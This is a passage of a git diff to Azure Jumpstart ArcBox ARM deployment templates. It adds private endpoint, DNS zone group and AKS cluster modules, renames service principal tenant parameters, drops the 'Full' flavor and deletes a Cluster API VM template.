"Microsoft.Authorization/locks", + "apiVersion": "2020-05-01", + "scope": "[format('Microsoft.Network/privateEndpoints/{0}', parameters('name'))]", + "name": "[coalesce(tryGet(parameters('lock'), 'name'), format('lock-{0}', parameters('name')))]", + "properties": { + "level": "[coalesce(tryGet(parameters('lock'), 'kind'), '')]", + "notes": "[if(equals(tryGet(parameters('lock'), 'kind'), 'CanNotDelete'), 'Cannot delete resource or child resources.', 'Cannot delete or modify the resource or child resources.')]" + }, + "dependsOn": [ + "privateEndpoint" + ] + }, + "privateEndpoint_roleAssignments": { + "copy": { + "name": "privateEndpoint_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.Network/privateEndpoints/{0}', parameters('name'))]", + "name": "[guid(resourceId('Microsoft.Network/privateEndpoints', parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "privateEndpoint" + ] + }, + "privateEndpoint_privateDnsZoneGroup": { + "condition": "[not(empty(parameters('privateDnsZoneResourceIds')))]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-PrivateEndpoint-PrivateDnsZoneGroup', uniqueString(deployment().name))]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[coalesce(parameters('privateDnsZoneGroupName'), 'default')]" + }, + "privateDNSResourceIds": { + "value": "[coalesce(parameters('privateDnsZoneResourceIds'), createArray())]" + }, + "privateEndpointName": { + "value": "[parameters('name')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.25.53.49325", + "templateHash": "11244630631275470040" + }, + "name": "Private Endpoint Private DNS Zone Groups", + "description": "This module deploys a Private Endpoint Private DNS Zone Group.", + "owner": "Azure/module-maintainers" + }, + "parameters": { + "privateEndpointName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent private endpoint. Required if the template is used in a standalone deployment." + } + }, + "privateDNSResourceIds": { + "type": "array", + "minLength": 1, + "maxLength": 5, + "metadata": { + "description": "Required. Array of private DNS zone resource IDs. A DNS zone group can support up to 5 DNS zones." + } + }, + "name": { + "type": "string", + "defaultValue": "default", + "metadata": { + "description": "Optional. The name of the private DNS zone group." + } + } + }, + "variables": { + "copy": [ + { + "name": "privateDnsZoneConfigs", + "count": "[length(parameters('privateDNSResourceIds'))]", + "input": { + "name": "[last(split(parameters('privateDNSResourceIds')[copyIndex('privateDnsZoneConfigs')], '/'))]", + "properties": { + "privateDnsZoneId": "[parameters('privateDNSResourceIds')[copyIndex('privateDnsZoneConfigs')]]" + } + } + } + ] + }, + "resources": [ + { + "type": "Microsoft.Network/privateEndpoints/privateDnsZoneGroups", + "apiVersion": "2023-04-01", + "name": "[format('{0}/{1}', parameters('privateEndpointName'), parameters('name'))]", + "properties": { + "privateDnsZoneConfigs": "[variables('privateDnsZoneConfigs')]" + } + } + ], + "outputs": { + "name": { + "type": "string", + "metadata": { + "description": "The name of the private endpoint DNS zone group." + }, + "value": "[parameters('name')]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the private endpoint DNS zone group." + }, + "value": "[resourceId('Microsoft.Network/privateEndpoints/privateDnsZoneGroups', parameters('privateEndpointName'), parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The resource group the private endpoint DNS zone group was deployed into." + }, + "value": "[resourceGroup().name]" + } + } + } + }, + "dependsOn": [ + "privateEndpoint" + ] + } + }, + "outputs": { + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The resource group the private endpoint was deployed into." + }, + "value": "[resourceGroup().name]" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the private endpoint." + }, + "value": "[resourceId('Microsoft.Network/privateEndpoints', parameters('name'))]" + }, + "name": { + "type": "string", + "metadata": { + "description": "The name of the private endpoint." + }, + "value": "[parameters('name')]" + }, + "location": { + "type": "string", + "metadata": { + "description": "The location the resource was deployed into." + }, + "value": "[reference('privateEndpoint', '2023-04-01', 'full').location]" + }, + "groupId": { + "type": "string", + "metadata": { + "description": "The group Id for the private endpoint Group." + }, + "value": "[if(not(empty(reference('privateEndpoint').manualPrivateLinkServiceConnections)), reference('privateEndpoint').manualPrivateLinkServiceConnections[0].properties.groupIds[0], reference('privateEndpoint').privateLinkServiceConnections[0].properties.groupIds[0])]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + } + }, + "outputs": { + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the key vault." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults', parameters('name'))]" + }, + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the key vault was created in." + }, + "value": "[resourceGroup().name]" + }, + "name": { + "type": "string", + "metadata": { + "description": "The name of the key vault." + }, + "value": "[parameters('name')]" + }, + "uri": { + "type": "string", + "metadata": { + "description": "The URI of the key vault." + }, + "value": "[reference('keyVault').vaultUri]" + }, + "location": { + "type": "string", + "metadata": { + "description": "The location the resource was deployed into." + }, + "value": "[reference('keyVault', '2022-07-01', 'full').location]" + } + } + } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'policyDeployment')]" + ] + } + ], + "outputs": { + "vnetId": { + "type": "string", + "value": "[resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]" + }, + "subnetId": { + "type": "string", + "value": "[reference(resourceId('Microsoft.Network/virtualNetworks', parameters('virtualNetworkName')), '2022-01-01').subnets[0].id]" + } } } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'addsVmDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]" + ] }, { + "condition": "[equals(parameters('flavor'), 'DataOps')]", "type": "Microsoft.Resources/deployments", - "apiVersion": "2021-04-01", + "apiVersion": "2022-09-01", "name": "aksDeployment", - "dependsOn": [ - "stagingStorageAccountDeployment", - "mgmtArtifactsAndPolicyDeployment", - "updateVNetDNSServers" - ], - "condition": "[equals(parameters('flavor'),'DataOps')]", "properties": { - "mode": "Incremental", - "templateLink": { - "uri": "[variables('aksTemplateUrl')]", - "contentVersion": "1.0.0.0" + "expressionEvaluationOptions": { + "scope": "inner" }, + "mode": "Incremental", "parameters": { "sshRSAPublicKey": { "value": "[parameters('sshRSAPublicKey')]" }, - "spnClientId": { - "value": "[parameters('spnClientId')]" - }, - "spnClientSecret": { - "value": "[parameters('spnClientSecret')]" + "location": { + "value": "[parameters('location')]" }, - "aksClusterName" : { + "aksClusterName": { "value": "[variables('aksArcDataClusterName')]" }, - "drClusterName":{ + "drClusterName": { "value": "[variables('aksDrArcDataClusterName')]" + }, + "namingPrefix": { + "value": "[parameters('namingPrefix')]" } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.29.47.4906", + "templateHash": "1398021495301668101" + } + }, + "parameters": { + "aksClusterName": { + "type": "string", + "defaultValue": "[format('{0}-AKS-Data', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of the Kubernetes cluster resource" + } + }, + "drClusterName": { + "type": "string", + "defaultValue": "[format('{0}-AKS-DR-Data', parameters('namingPrefix'))]", + "metadata": { + "description": "The name of the Kubernetes cluster resource" + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "The location of the Managed Cluster resource" + } + }, + "dnsPrefixPrimary": { + "type": "string", + "defaultValue": "arcdata", + "metadata": { + "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN" + } + }, + "dnsPrefixSecondary": { + "type": "string", + "defaultValue": "arcdata", + "metadata": { + "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN" + } + }, + "osDiskSizeGB": { + "type": "int", + "defaultValue": 0, + "minValue": 0, + "maxValue": 1023, + "metadata": { + "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize" + } + }, + "agentCount": { + "type": "int", + "defaultValue": 3, + "minValue": 1, + "maxValue": 50, + "metadata": { + "description": "The number of nodes for the cluster" + } + }, + "agentVMSize": { + "type": "string", + "defaultValue": "Standard_D8s_v4", + "metadata": { + "description": "The size of the Virtual Machine" + } + }, + "linuxAdminUsername": { + "type": "string", + "defaultValue": "arcdemo", + "metadata": { + "description": "User name for the Linux Virtual Machines" + } + }, + "sshRSAPublicKey": { + "type": "securestring", + "defaultValue": "", + "metadata": { + "description": "RSA public key used for securing SSH access to ArcBox resources. This parameter is only needed when deploying the DataOps or DevOps flavors." + } + }, + "enableRBAC": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "boolean flag to turn on and off of RBAC" + } + }, + "osType": { + "type": "string", + "defaultValue": "Linux", + "allowedValues": [ + "Linux" + ], + "metadata": { + "description": "The type of operating system" + } + }, + "kubernetesVersion": { + "type": "string", + "defaultValue": "1.28.9", + "metadata": { + "description": "The version of Kubernetes" + } + }, + "namingPrefix": { + "type": "string", + "defaultValue": "ArcBox", + "maxLength": 7, + "metadata": { + "description": "The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19" + } + } + }, + "variables": { + "serviceCidr_primary": "10.20.64.0/19", + "dnsServiceIP_primary": "10.20.64.10", + "serviceCidr_secondary": "172.20.64.0/19", + "dnsServiceIP_secondary": "172.20.64.10", + "virtualNetworkName": "[format('{0}-VNet', parameters('namingPrefix'))]", + "aksSubnetName": "[format('{0}-AKS-Subnet', parameters('namingPrefix'))]", + "drVirtualNetworkName": "[format('{0}-DR-VNet', parameters('namingPrefix'))]", + "drSubnetName": "[format('{0}-DR-Subnet', parameters('namingPrefix'))]" + }, + "resources": [ + { + "type": "Microsoft.ContainerService/managedClusters", + "apiVersion": "2023-10-02-preview", + "name": "[parameters('aksClusterName')]", + "location": "[parameters('location')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "kubernetesVersion": "[parameters('kubernetesVersion')]", + "enableRBAC": "[parameters('enableRBAC')]", + "dnsPrefix": "[parameters('dnsPrefixPrimary')]", + "aadProfile": { + "managed": true + }, + "agentPoolProfiles": [ + { + "name": "agentpool", + "mode": "System", + "osDiskSizeGB": "[parameters('osDiskSizeGB')]", + "count": "[parameters('agentCount')]", + "vmSize": "[parameters('agentVMSize')]", + "osType": "[parameters('osType')]", + "type": "VirtualMachineScaleSets", + "vnetSubnetID": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('aksSubnetName'))]" + } + ], + "storageProfile": { + "diskCSIDriver": { + "enabled": true + } + }, + "networkProfile": { + "networkPlugin": "azure", + "serviceCidr": "[variables('serviceCidr_primary')]", + "dnsServiceIP": "[variables('dnsServiceIP_primary')]" + }, + "linuxProfile": { + "adminUsername": "[parameters('linuxAdminUsername')]", + "ssh": { + "publicKeys": [ + { + "keyData": "[parameters('sshRSAPublicKey')]" + } + ] + } + } + } + }, + { + "type": "Microsoft.ContainerService/managedClusters", + "apiVersion": "2023-10-02-preview", + "name": "[parameters('drClusterName')]", + "location": "[parameters('location')]", + "identity": { + "type": "SystemAssigned" + }, + "properties": { + "kubernetesVersion": "[parameters('kubernetesVersion')]", + "enableRBAC": "[parameters('enableRBAC')]", + "dnsPrefix": "[parameters('dnsPrefixSecondary')]", + "aadProfile": { + "managed": true + }, + "agentPoolProfiles": [ + { + "name": "agentpool", + "mode": "System", + "osDiskSizeGB": "[parameters('osDiskSizeGB')]", + "count": "[parameters('agentCount')]", + "vmSize": "[parameters('agentVMSize')]", + "osType": "[parameters('osType')]", + "type": "VirtualMachineScaleSets", + "vnetSubnetID": "[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('drVirtualNetworkName'), variables('drSubnetName'))]" + } + ], + "storageProfile": { + "diskCSIDriver": { + "enabled": true + } + }, + "networkProfile": { + "networkPlugin": "azure", + "serviceCidr": "[variables('serviceCidr_secondary')]", + "dnsServiceIP": "[variables('dnsServiceIP_secondary')]" + }, + "linuxProfile": { + "adminUsername": "[parameters('linuxAdminUsername')]", + "ssh": { + "publicKeys": [ + { + "keyData": "[parameters('sshRSAPublicKey')]" + } + ] + } + } + } + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName')), 'Microsoft.Authorization/roleAssignments', 'Owner')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName')), '2023-10-02-preview', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))]" + ] + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(resourceId('Microsoft.ContainerService/managedClusters', parameters('drClusterName')), 'Microsoft.Authorization/roleAssignments', 'Owner')]", + "properties": { + "principalId": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('drClusterName')), '2023-10-02-preview', 'full').identity.principalId]", + "roleDefinitionId": "[resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "principalType": "ServicePrincipal" + }, + "dependsOn": [ + "[resourceId('Microsoft.ContainerService/managedClusters', parameters('drClusterName'))]" + ] + } + ] } - } + }, + "dependsOn": [ + "[resourceId('Microsoft.Resources/deployments', 'mgmtArtifactsAndPolicyDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'stagingStorageAccountDeployment')]", + "[resourceId('Microsoft.Resources/deployments', 'updateVNetDNSServers')]" + ] } ], "outputs": { "clientVmLogonUserName": { - "condition": "[equals(parameters('flavor'),'DataOps')]", "type": "string", - "value": "[concat(parameters('windowsAdminUsername'),'@',parameters('addsDomainName'))]" + "value": "[if(equals(parameters('flavor'), 'DataOps'), format('{0}@{1}', parameters('windowsAdminUsername'), parameters('addsDomainName')), '')]" } } -} \ No newline at end of file +} diff --git a/azure_jumpstart_arcbox/ARM/azuredeploy.parameters.json b/azure_jumpstart_arcbox/ARM/azuredeploy.parameters.json index 1eb0bb5566..c319570bc6 100644 --- a/azure_jumpstart_arcbox/ARM/azuredeploy.parameters.json +++ b/azure_jumpstart_arcbox/ARM/azuredeploy.parameters.json @@ -5,14 +5,8 @@ "sshRSAPublicKey": { "value": "" }, - "spnClientId": { - "value": "" - }, - "spnClientSecret": { - "value": "" - }, - "spnTenantId": { - "value": "" + "tenantId": { + "value": "" }, "windowsAdminUsername": { "value": "arcdemo" @@ -24,7 +18,7 @@ "value": "" }, "flavor": { - "value": "Full" + "value": "ITPro" }, "deployBastion": { "value": false diff --git a/azure_jumpstart_arcbox/ARM/azuredeploywithroleassignments.json b/azure_jumpstart_arcbox/ARM/azuredeploywithroleassignments.json index 45bbf8d360..95b0711545 100644 --- a/azure_jumpstart_arcbox/ARM/azuredeploywithroleassignments.json +++ b/azure_jumpstart_arcbox/ARM/azuredeploywithroleassignments.json @@ -20,7 +20,7 @@ "description": "Azure service principal client secret" } }, - "spnTenantId": { + "tenantId": { "type": "string", "metadata": { "description": "Azure AD tenant id for your service principal" @@ -52,11 +52,10 @@ "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps'" }, "allowedValues": [ - "Full", "ITPro", "DevOps" ], - "defaultValue": "Full" + "defaultValue": "ITPro" }, "githubAccount": { "type": "string", @@ -216,8 +215,8 @@ "spnClientSecret": { "value": "[parameters('spnClientSecret')]" }, - "spnTenantId": { - "value": "[parameters('spnTenantId')]" + "tenantId": { + "value": "[parameters('tenantId')]" }, "windowsAdminUsername": { "value": "[parameters('windowsAdminUsername')]" diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 28a3f36077..d1e43beff9 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -9,9 +9,9 @@ "description": "The name of your Virtual Machine" } }, - "capiArcDataClusterName": { + "k3sArcDataClusterName": { "type": "string", - "defaultValue": "ArcBox-CAPI-Data", + "defaultValue": "ArcBox-k3s-Data", "metadata": { "description": "The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster (lowercase)" } @@ -82,7 +82,7 @@ "type": "string", "defaultValue": "https://login.microsoftonline.com" }, - "spnTenantId": { + "tenantId": { "type": "string", "metadata": { "description": "Tenant id of the service principal" @@ -165,10 +165,10 @@ "flavor": { "type": "string", "metadata": { - "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro'" + "description": "The flavor of ArcBox you want to deploy. Valid values are: 'DataOps', 'ITPro', 'DevOps'" }, - "allowedValues": [ "Full", "ITPro", "DevOps", "DataOps" ], - "defaultValue": "Full" + "allowedValues": [ "ITPro", "DevOps", "DataOps" ], + "defaultValue": "ITPro" }, "deployBastion": { "type": "bool", @@ -217,7 +217,15 @@ "description": "Override default SSH port 22 using this parameter. Default is 22. No changes will be made to the client VM." }, "defaultValue": "22" + }, + "addsDomainName": { + "type": "string", + "defaultValue": "jumpstart.local", + "metadata": { + "description": "The FQDN of the domain" + } } + }, "variables": { "vmName": "[concat(parameters('vmName'))]", @@ -276,6 +284,9 @@ "name": "[variables('vmName')]", "location": "[parameters('location')]", "tags": "[parameters('resourceTags')]", + "identity": { + "type": "SystemAssigned" + }, "dependsOn": [ "[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]" ], @@ -327,7 +338,7 @@ "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" ], "tags": { - "displayName": "config-choco" + "displayName": "config-bootstrap" }, "properties": { "publisher": "Microsoft.Compute", @@ -338,12 +349,25 @@ "fileUris": [ "[uri(parameters('templateBaseUrl'), 'artifacts/Bootstrap.ps1')]" ], - "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1', ' -adminUsername ', parameters('windowsAdminUsername'), ' -adminPassword ' , parameters('windowsAdminPassword'), ' -spnClientId ', parameters('spnClientId'), ' -spnClientSecret ', parameters('spnClientSecret'), ' -spnTenantId ', parameters('spnTenantId'), ' -spnAuthority ', parameters('spnAuthority'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -azdataUsername ', parameters('azdataUsername'), ' -azdataPassword ', parameters('azdataPassword'), ' -acceptEula ', parameters('acceptEula'), ' -registryUsername ', parameters('registryUsername'), ' -registryPassword ', parameters('registryPassword'), ' -arcDcName ', parameters('arcDcName'), ' -azureLocation ', parameters('location'), ' -mssqlmiName ', parameters('mssqlmiName'), ' -POSTGRES_NAME ', parameters('postgresName'), ' -POSTGRES_WORKER_NODE_COUNT ', parameters('postgresWorkerNodeCount'), ' -POSTGRES_DATASIZE ', parameters('postgresDatasize'), ' -POSTGRES_SERVICE_TYPE ', parameters('postgresServiceType'), ' -stagingStorageAccountName ', parameters('stagingStorageAccountName'), ' -workspaceName ', parameters('workspaceName'), ' -capiArcDataClusterName ', parameters('capiArcDataClusterName'), ' -templateBaseUrl ', parameters('templateBaseUrl'), ' -flavor ', parameters('flavor'), ' -k3sArcClusterName ', parameters('k3sArcClusterName'), ' -aksArcClusterName ', parameters('aksArcClusterName') , ' -aksdrArcClusterName ', parameters('aksdrArcClusterName') , ' -githubUser ', parameters('githubUser'), ' -rdpPort ', parameters('rdpPort'), ' -sshPort ', parameters('sshPort'))]" + "commandToExecute": "[concat('powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1', ' -adminUsername ', parameters('windowsAdminUsername'), ' -adminPassword ' , parameters('windowsAdminPassword'), ' -spnClientId ', parameters('spnClientId'), ' -spnClientSecret ', parameters('spnClientSecret'), ' -tenantId ', parameters('tenantId'), ' -spnAuthority ', parameters('spnAuthority'), ' -subscriptionId ', subscription().subscriptionId, ' -resourceGroup ', resourceGroup().name, ' -azdataUsername ', parameters('azdataUsername'), ' -azdataPassword ', parameters('azdataPassword'), ' -acceptEula ', parameters('acceptEula'), ' -registryUsername ', parameters('registryUsername'), ' -registryPassword ', parameters('registryPassword'), ' -arcDcName ', parameters('arcDcName'), ' -azureLocation ', parameters('location'), ' -mssqlmiName ', parameters('mssqlmiName'), ' -POSTGRES_NAME ', parameters('postgresName'), ' -POSTGRES_WORKER_NODE_COUNT ', parameters('postgresWorkerNodeCount'), ' -POSTGRES_DATASIZE ', parameters('postgresDatasize'), ' -POSTGRES_SERVICE_TYPE ', parameters('postgresServiceType'), ' -stagingStorageAccountName ', parameters('stagingStorageAccountName'), ' -workspaceName ', parameters('workspaceName'), ' -k3sArcDataClusterName ', parameters('k3sArcDataClusterName'), ' -templateBaseUrl ', parameters('templateBaseUrl'), ' -flavor ', parameters('flavor'), ' -k3sArcClusterName ', parameters('k3sArcClusterName'), ' -aksArcClusterName ', parameters('aksArcClusterName') , ' -aksdrArcClusterName ', parameters('aksdrArcClusterName') , ' -githubUser ', parameters('githubUser'), ' -rdpPort ', parameters('rdpPort'), ' -sshPort ', parameters('sshPort'), ' -addsDomainName ', parameters('addsDomainName'))]" } } + }, + { + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "name": "[guid(variables('vmName'), 'Microsoft.Authorization/roleAssignments', 'Owner')]", + "properties": { + "roleDefinitionId": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "principalId": "[reference(resourceId('Microsoft.Compute/virtualMachines', variables('vmName')), '2019-07-01', 'Full').identity.principalId]" }, + "dependsOn": [ + "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" + ], + "metadata": { + "description": "Assigns Client VM managed identity Owner Role at resource group level" + } } ], - "outputs": { "adminUsername": { "type": "string", diff --git a/azure_jumpstart_arcbox/ARM/kubernetes/aks.json b/azure_jumpstart_arcbox/ARM/kubernetes/aks.json index 8c00c3da6b..59a84038f8 100644 --- a/azure_jumpstart_arcbox/ARM/kubernetes/aks.json +++ b/azure_jumpstart_arcbox/ARM/kubernetes/aks.json @@ -107,7 +107,7 @@ "metadata": { "description": "The version of Kubernetes" }, - "defaultValue" : "1.28.5" + "defaultValue" : "1.28.9" } }, "variables": { diff --git a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json b/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json deleted file mode 100644 index 3b9d6fb9c3..0000000000 --- a/azure_jumpstart_arcbox/ARM/kubernetes/ubuntuCapi.json +++ /dev/null @@ -1,271 +0,0 @@ -{ - "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", - "contentVersion": "1.0.0.0", - "parameters": { - "vmName": { - "type": "string", - "defaultValue": "ArcBox-CAPI-MGMT", - "metadata": { - "description": "The name of you Virtual Machine" - } - }, - "capiArcDataClusterName": { - "type": "string", - "defaultValue": "ArcBox-CAPI-Data", - "metadata": { - "description": "The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster" - } - }, - "adminUsername": { - "type": "string", - "defaultValue": "arcdemo", - "metadata": { - "description": "Username for the Virtual Machine" - } - }, - "sshRSAPublicKey": { - "type": "securestring", - "metadata": { - "description": "SSH Key for the Virtual Machine. SSH key is recommended over password" - } - }, - "ubuntuOSVersion": { - "type": "string", - "defaultValue": "22_04-lts-gen2", - "allowedValues": [ - "22_04-lts-gen2" - ], - "metadata": { - "description": "The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version" - } - }, - "azureLocation": { - "type": "string", - "defaultValue": "[resourceGroup().location]", - "metadata": { - "description": "Location for all resources." - } - }, - "vmSize": { - "type": "string", - "defaultValue": "Standard_B4ms", - "metadata": { - "description": "The size of the VM" - } - }, - "virtualNetworkName": { - "type": "string", - "defaultValue": "ArcBox-VNet", - "metadata": { - "description": "Name of the VNet" - } - }, - "subnetName": { - "type": "string", - "defaultValue": "ArcBox-Subnet", - "metadata": { - "description": "Name of the subnet in the virtual network" - } - }, - "resourceTags": { - "type": "object", - "defaultValue": { - "Project": "jumpstart_arcbox" - } - }, - "spnClientId": { - "type": "string", - "metadata": { - "description": "Azure service principal client id" - } - }, - "spnClientSecret": { - "type": "securestring", - "metadata": { - "description": "Azure service principal client secret" - } - }, - "spnTenantId": { - "type": "string", - "metadata": { - "description": "Azure AD tenant id for your service principal" - } - }, - "stagingStorageAccountName": { - "type": "string", - "metadata": { - "description": "Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json" - } - }, - "logAnalyticsWorkspace": { - "type": "string", - "metadata": { - "description": "Name of the Log Analytics workspace used with cluster extensions" - } - }, - "templateBaseUrl": { - "type": "string", - "metadata": { - "description": "The base URL used for accessing templates and automation artifacts. Typically inherited from parent ARM template" - } - }, - "deployBastion": { - "type": "bool", - "metadata": { - "description": "Choice to deploy Azure Bastion" - }, - "defaultValue": false - }, - "flavor": { - "type": "string", - "metadata": { - "description": "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', 'DevOps'" - }, - "allowedValues": [ - "Full", - "ITPro", - "DevOps", - "DataOps" - ] - }, - "rdpPort": { - "type": "string", - "metadata": { - "description": "Override default RDP port 3389 using this parameter. Default is 3389. No changes will be made to the client VM." - }, - "defaultValue": "3389" - }, - "sshPort": { - "type": "string", - "metadata": { - "description": "Override default SSH port 22 using this parameter. Default is 22. No changes will be made to the client VM." - }, - "defaultValue": "22" - } - }, - "variables": { - "vmName": "[concat(parameters('vmName'))]", - "publicIpAddressName": "[concat(parameters('vmName'), '-PIP' )]", - "networkInterfaceName": "[concat(parameters('vmName'),'-NIC')]", - "subnetRef": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", - "osDiskType": "Premium_LRS", - "PublicIPNoBastion": { - "id": "[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]" - } - }, - "resources": [ - { - "type": "Microsoft.Network/networkInterfaces", - "apiVersion": "2022-01-01", - "name": "[variables('networkInterfaceName')]", - "location": "[parameters('azureLocation')]", - "dependsOn": [ - "[resourceId('Microsoft.Network/publicIpAddresses/', variables('publicIpAddressName'))]" - ], - "properties": { - "ipConfigurations": [ - { - "name": "ipconfig1", - "properties": { - "subnet": { - "id": "[variables('subnetRef')]" - }, - "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" - } - } - ] - } - }, - { - "type": "Microsoft.Network/publicIpAddresses", - "apiVersion": "2022-01-01", - "name": "[variables('publicIpAddressName')]", - "condition": "[not(parameters('deployBastion'))]", - "location": "[parameters('azureLocation')]", - "properties": { - "publicIpAllocationMethod": "Static", - "publicIPAddressVersion": "IPv4", - "idleTimeoutInMinutes": 4 - }, - "sku": { - "name": "Basic", - "tier": "Regional" - } - }, - { - "type": "Microsoft.Compute/virtualMachines", - "apiVersion": "2022-03-01", - "name": "[variables('vmName')]", - "location": "[parameters('azureLocation')]", - "tags": "[parameters('resourceTags')]", - "dependsOn": [ - "[resourceId('Microsoft.Network/networkInterfaces/', variables('networkInterfaceName'))]" - ], - "properties": { - "hardwareProfile": { - "vmSize": "[parameters('VmSize')]" - }, - "storageProfile": { - "osDisk": { - "name": "[concat(variables('vmName'),'-OSDisk')]", - "caching": "ReadWrite", - "createOption": "fromImage", - "managedDisk": { - "storageAccountType": "[variables('osDiskType')]" - } - }, - "imageReference": { - "publisher": "canonical", - "offer": "0001-com-ubuntu-server-jammy", - "sku": "[parameters('ubuntuOSVersion')]", - "version": "latest" - } - }, - "networkProfile": { - "networkInterfaces": [ - { - "id": "[resourceId('Microsoft.Network/networkInterfaces', 